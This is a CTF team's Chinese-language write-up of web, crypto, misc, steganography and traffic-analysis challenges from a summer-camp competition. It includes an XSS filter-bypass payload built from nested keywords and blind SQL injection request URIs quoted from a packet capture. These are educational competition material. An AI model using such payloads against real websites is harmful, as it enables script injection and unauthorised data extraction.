最近参加了方班的夏令营,参加了夏令营中的CTF,并且和队友拿到了不错的成绩,在此分享下我所在队伍的WP。
WEB
WEB1
1、打开题目,提示是个XSS
2、点传送门进入
3、既然是xss,那就丢一段测试代码过去试试
XSS 测试代码:
<script>alert(321)</script><onload>javascript:'"<oonnclick><onerror><src><ssrcrc><img><svg><body><input><scr<script>ipt>scscriptript<Script></Script>
4、测试结果
查看页面源代码后,明显可以发现第十一行有漏洞,但过滤了部分字符,例如:on
、script
等
<h1>xss</h1>
<div class="category category-misc">
</div>
<div class="scene">
<script src="./js/application.js"></script><!--[if lt IE 9]><script src="./js/IE9.js"></script><script src="./js/html5.js"></script><![endif]--><script src="./js/IE8.js"></script>
插入你想要的。而我想要double。<br/><h2 align=center>没有找到和<script>alert(123)</script><onload>javascript:'"<oonnclick><onerror><src><ssrcrc><img><svg><body><input><scr<script>ipt>scscriptript<script></script>相关的结果.</h2><center>
<form action=level.php method=GET>
<input name=keyword value="<>(123)</><load>java:'"<onclick><error><><src><img><svg><body><input><scr<>ipt><></>">
<input type=submit name=submit value=搜索 />
</form>
</center><h3 align=center>payload的长度:92</h3><br />
</div></div></main><script src="./js/application.js"></script><!--[if lt IE 9]><script src="./js/IE9.js"></script><script src="./js/html5.js"></script><![endif]--><script src="./js/IE8.js"></script>
再根据题目提示的double,认为应该是嵌套绕过,于是构造了以下Payload:
a"><img ssrcrc="x" oonnerror=aalertlert(1)><"
搞定:
FLAG:
nsfocus{3da458d12edbd860}
WEB2
1、打开题目:
2、查看源代码,发现一段被注释的js代码引用
<!-- === BEGIN HEADER === -->
<html lang="en">
<!--<![endif]-->
<head>
<!-- Title -->
<title>很简单-------细心</title>
<!-- Meta -->
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<meta name="description" content="Welcome to the SkyDog Con CTF 2016">
<meta name="author" content="James Bower">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
<!-- Favicon -->
<link href="favicon.ico" rel="shortcut icon">
<!-- Bootstrap Core CSS -->
<link rel="stylesheet" href="assets/css/bootstrap.css" rel="stylesheet">
<!-- Template CSS -->
<link rel="stylesheet" href="assets/css/animate.css" rel="stylesheet">
<link rel="stylesheet" href="assets/css/font-awesome.css" rel="stylesheet">
<link rel="stylesheet" href="assets/css/nexus.css" rel="stylesheet">
<link rel="stylesheet" href="assets/css/responsive.css" rel="stylesheet">
<link rel="stylesheet" href="assets/css/custom.css" rel="stylesheet">
</head>
<body>
<div id="social" class="visible-lg">
<ul class="social-icons pull-right hidden-xs">
<li class="social-rss">
<a href="#" target="_blank" title="IRC"></a>
</li>
</ul>
</div>
<!--[if IE 8]> <html lang="en" class="ie8"> <![endif]-->
<!--[if IE 9]> <html lang="en" class="ie9"> <![endif]-->
<!--[If IE4]><script src="/oldIE/oldIE.js"></script><![Make sure to remove this before going to PROD]-->
<!--[if !IE]><!-->
<!-- Header -->
<div id="header" style="background-position: 100% 100%; height:100%;" data-stellar-background-ratio="0.5">
<div class="container">
<div class="row">
<!-- Logo -->
<div align="center">
<a href="index.html" title="">
<img src="logo.png" alt="Logo" style="width:1500px;height:800px;"/>
</a>
</div>
<!-- End Logo -->
</div>
<!-- Top Menu -->
<div id="hornav" class="row text-light">
<div class="col-md-12">
<div class="text-center visible-lg">
<ul id="hornavmenu" class="nav navbar-nav">
<li>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
<!-- === END FOOTER === -->
3、把注释掉的JS打开看看
http://IP/oldIE/oldIE.js
JS里的第一句就是一句被注释掉的base64编码。很明显可以研究一下:
TUhnMk5qWmpOakUyTnpkaU5EUXpOalF5TXpJME5qTXpNekkwTVRNME16YzBNak00TkRJME16UXlNelUzWkE9PQ==
丢在线解码里解一下
解出来还是一个base64,再解一次
解出来是一个0x开头,只有0-9、a-f的字符串,明显是一个16进制字符串。
丢到kali里转换一下:
FLAG:
nsfocus{D6B2F32A47B8BCB5}
MISC
MISC1
1、打开下载的文件,发现是一个输入密码的网页
2、查看页面代码,查找常见的一些事件,如 click,发现有一个 ht_check()函数
3、对该函数进行调用,发现弹出密码 admin123456
4、输入得到的密码,得到 flag
FLAG:
nsfocus{91aee1e0d6a80a8b5fe190d7ad254d7f}
MISC2
1、下载pcap并且打开,选择任意一条数据,进行追踪 TCP 流
2、发现 python 代码,将其复制到 python 编辑器中
进行简单的处理,将其中调用 decrypt 的参数 Qq4wdrhhyEWe4qBF 进行提取,并且还需要再改追踪流中拿到 flag 的数据
mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90 XhAOkIs/OXoYVw5uQDjVvgNA==
然后调用 decrypt 函数即可
3、编写python代码
4、运行之后就是flag的值
FLAG:
nsfoucs{n0w_U_w111_n0t_f1nd_me}
MISC3
打开下载的文件,发现是一段密文,然后根据题目给的信息,放到 md5 进行解密
解密结果
FLAG
nsfocus{admin1}
MISC4
1、下载 easy_crypto.zip 后打开得到 2 个文件 flag.txt 和 morse.txt
2、按题目提示 flag.txt 肯定是密文,morse.txt 肯定是密钥,看名字和内容
就知道是摩斯密码。丢到摩斯密码在线翻译看一看,得到
keyisvigenerecipher
3、有了密钥就简单了,丢在线解码里解开,获得明文是:
vigenereencryptionhhh
FLAG:
nsfocus{vigenereencryptionhhh}
MISC5
1、解压出的包里有pem文件,联想到openssl的rsa加密,打开pem文件一看,果不其然。
-----END RSA PRIVATE KEY-----
2、使用下面的命令解密enc文件
openssl rsautl -decrypt -in flag.enc -out dec.txt -inkey private.pem
FLAG:
nsfocus{FLAG-vOAM5ZcReMNzJqOfxLauakHx}
MISC6
1、下载图片文件,使用 binwalk 查看,发现存在许多隐藏文件
2、使用 dd 命令进行提取
3、打开提取到的图片,发现flag
FLAG:
nsfocus{NSCTF_e6532a34928a3d1dadd0b049d5a3cc57}
STEGA
STEGA1
1、下载并解压压缩包,然后把 doc 的后缀改为 zip 再进行解压查看 Flag.xml,发现 flag 就存在该压缩包内
2、内容
FLAG:
nsfocus{k42bP8khgqMZpCON}
STEGA2
1、StegSolve打开文件,在red plane 0通道里找到密码 key{forensics_is_fun} 。
2、利用该密码解压zip文件。
3、打开Gif发现提示文件损坏,用UltraEdit修补gif文件头,增减4个字节,内容为 47 49 46 38 。
4、用Photoshop打开gif文件,看到各个帧上的字母内容为:CTF{AS3X}
FLAG:
nsfocus{AS3X}
STEGA3
1、下载文件,发现是一张跳动很快的gif图片,于是使用 Stegsolve 逐帧查看 gif 即可
FLAG:
nsfocus{he11ohongke}
STEGA4
1、下载音频文件,使用工具 Audacity 打开,发现上下两行很明显不一样,猜测有可能是摩斯密码
2、对第一行的数据进行提取,得到摩斯码:
..... -... -.-. ----. ..--- ..... -.... ....- ----. -.-. -... ----- .---- ---.. ---.. ..-. ..... ..--- . -.... .---- --... -.. --... ----- ----. ..--- ----. .---- ----. .---- -.-.
3、对摩斯密码进行解密,得到 flag5BC925649CB0188F52E617D70929191C
FLAG:
nsfocus{5BC925649CB0188F52E617D70929191C}
TRAFFIC
1、打开包后随便追踪一个tcp流量,可以发现这是一个sql注入的攻击流量包。
2、观察第一个流
tcp.stream eq 0
可以看到根据报错信息,当回显是 Hello admin! 表示命令执行成功;例如:
GET /index.php?id=1%27and%20(select%201)=1%23
当回显示是 no data!
时表示执行失败。例如:
GET /index.php?id=1%27and%20(select%202)=1%23
3、提取包含信息的流,过滤器输入 tcp contains "admin" ,再选择[文件]、导出分组解析结果、为纯文本,然后将保存的txt文件命名为 sql.txt 。
4、提取包含flflag的uri请求参数,将结果保存到sql_result.txt。
f=open('sql.txt','r',encoding='utf-8')
lines = f.readlines()
f1=open('sql_result.txt','w')
for line in lines:
if '[Request URI:' in line:
f1.write(line)
5、将sql_result.txt中包含 skyflag_is_here 的后29行全部复制粘贴到flflag_sql.txt,将其中的ascii数值摘录出来
[Request URI: http://192.168.173.134/index.php? id=1%27and%20(select%20ascii(substr((select%20skyflag_is_here2333%20from%20flag% 20limit%200,1),1,1)))=102%23]
6、转化为ASCII码即可。
FLAG:
nsfocus{skysql_is_very_cool!233}
- End -
原文始发于微信公众号(NS Demon团队):方班CTF部分WP
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论